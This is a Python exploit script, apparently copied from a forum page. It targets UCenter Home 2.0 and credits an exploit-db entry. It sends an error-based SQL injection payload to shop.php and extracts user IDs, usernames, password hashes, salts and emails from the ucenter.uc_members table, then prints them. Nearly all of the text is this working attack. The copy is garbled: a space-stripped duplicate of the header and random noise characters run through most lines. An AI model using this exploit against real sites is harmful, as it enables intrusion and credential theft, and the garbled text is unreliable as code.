#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl' }8 R( b" o* D* l. L
& R+ g- ^, O. x+ r2 [) E5 \0 e, m. x* B
#!/usr/bin/env python
+ S# B1 a, B, a$ U% g4 y# ~
0 f& p) U* r1 L; Cimport sys
( P4 Z, j9 u7 s) |+ U) e0 Himport urllib2 9 \/ j* d- @2 w- S* y. F- ^9 j
import re , D) U8 P$ v+ q- W" t$ e
0 b; u5 ^% I4 u# ydef info():
- G$ d. x3 s: w* M& y+ M print 'From:http://www.exploit-db.com/exploits/14997/' # Q% R9 m) e2 } n9 O7 \* n }1 `
print 'http://www.hake.cc/Web_loudong/'
8 n, s4 t" x2 K4 W# ] print 'changed:qiaoy'
R* v$ @; u T2 S+ C! z7 @ print 'exp:' 9 C R2 P2 C7 t4 g3 g6 @8 c
print ' ./UCenter_Home_2.0.py site'
" J9 O1 ?; A8 T: ]6 l
0 \( H- X5 R5 r* Q8 O7 gdef main():
3 ~; Q5 v7 j3 F6 B# _( u [$ w if len(sys.argv) != 2: 2 T4 V4 j3 t0 z$ U* R4 {
info()
' q1 | Z Q( f- p) F else:
: z2 @9 A, Y- y' l3 g" ?3 s site = sys.argv[1] 2 h; |/ W. V6 M+ t% L
if site[0:7] == 'http://':
6 C0 z! N6 y0 G sitesite =site
- x- C& \/ k, H0 g0 Q elif site[0:8] == 'https://':
! Z! d0 [7 s, s6 v* K* J sitesite = site
- F9 i# c2 C: ^& o: h else: 7 i0 G9 f: n- N. ], Q O
site = 'http://'+site
& O" z, K' b4 [, o( n4 S% [ try: ~9 P6 K, l: O Y4 n1 p8 E9 V9 @
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' + t& W1 |! ~ [' n$ B! V! }
Value = urllib2.urlopen(url).read()
9 k' y& F" L/ L1 j Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
9 N# C2 r5 X& J! N R$ C- N$ h hacked = Msg.split(':')
' J8 y& Y8 j2 ~3 h- e% W4 f- P print 'Name: '+hacked[1] 6 x6 @) ]+ U: m" t7 k* J+ W
print 'Passwd: '+hacked[2]
$ `% k" l0 n# D; i' p5 x& b& Y print 'salt: '+hacked[3]
$ D* U( ^6 x0 G6 m- S! r print 'email: '+hacked[4] ~( N' K2 C6 `3 b1 ]
except: * w' x9 q* n' F4 B& N" P, M) s8 F
print 'Sorry,I can\'t work............' 4 Y9 O, S# m3 y7 `9 I: X, ]0 j* ?2 `
0 r7 ?8 O4 p$ Q$ \6 H2 Q' \' Wif __name__ == '__main__': 7 N/ M/ H% |2 x
main() |